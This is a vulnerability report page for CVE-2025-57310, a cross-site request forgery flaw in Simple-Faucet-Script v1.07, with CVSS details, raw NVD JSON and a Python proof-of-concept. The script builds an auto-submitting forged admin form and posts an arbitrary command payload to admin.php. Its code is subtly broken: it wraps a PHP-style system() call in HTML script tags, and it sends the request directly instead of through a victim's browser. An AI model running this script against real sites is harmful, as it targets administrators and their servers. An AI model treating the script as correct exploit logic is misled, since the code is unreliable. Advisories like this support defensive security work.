Security Vulnerability Report
中文
CVE-2025-57310 CVSS 8.8 HIGH

CVE-2025-57310

Published: 2025-11-12 19:15:37
Last Modified: 2025-12-31 16:14:31

Description

A Cross-Site Request Forgery (CSRF) vulnerability in Salmen2/Simple-Faucet-Script v1.07 via crafted POST request to admin.php?p=ads&c=1 allowing attackers to execute arbitrary code.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:salmen:simple_faucet_script:1.07:*:*:*:*:*:*:* - VULNERABLE
Salmen2/Simple-Faucet-Script v1.07

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-57310 CSRF Exploit for Simple-Faucet-Script v1.07 # Target: admin.php?p=ads&c=1 # This PoC demonstrates how an attacker can induce admin to execute arbitrary commands def create_csrf_payload(target_url, malicious_command): """ Generate HTML page with auto-submitting form for CSRF attack """ html_template = ''' <!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <form id="csrf_form" action="{target}" method="POST"> <input type="hidden" name="action" value="save_ad"> <input type="hidden" name="ad_code" value="<script>system('{cmd}');</script>"> </form> <script> document.getElementById('csrf_form').submit(); </script> </body> </html> '''.format(target=target_url, cmd=malicious_command) return html_template def exploit_csrf(target_url, command): """ Send CSRF payload to target """ data = { 'action': 'save_ad', 'ad_code': f'<script>system("{command}");</script>' } try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Status code: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_57310.py <target_url> <command>") print("Example: python cve_2025_57310.py http://target.com/admin.php?p=ads&c=1 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] print("[*] CVE-2025-57310 CSRF Exploit") print(f"[*] Target: {target}") print(f"[*] Command: {cmd}") exploit_csrf(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57310", "sourceIdentifier": "[email protected]", "published": "2025-11-12T19:15:36.550", "lastModified": "2025-12-31T16:14:30.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Cross-Site Request Forgery (CSRF) vulnerability in Salmen2/Simple-Faucet-Script v1.07 via crafted POST request to admin.php?p=ads&c=1 allowing attackers to execute arbitrary code."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salmen:simple_faucet_script:1.07:*:*:*:*:*:*:*", "matchCriteriaId": "7D88E731-D08E-4FD7-88D2-3E10740F96DD"}]}]}], "references": [{"url": "https://gist.github.com/MMAKINGDOM/a6c2c8c70145cbea4e119525651e9a8d", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/MMAKINGDOM/CVE-2025-57310", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}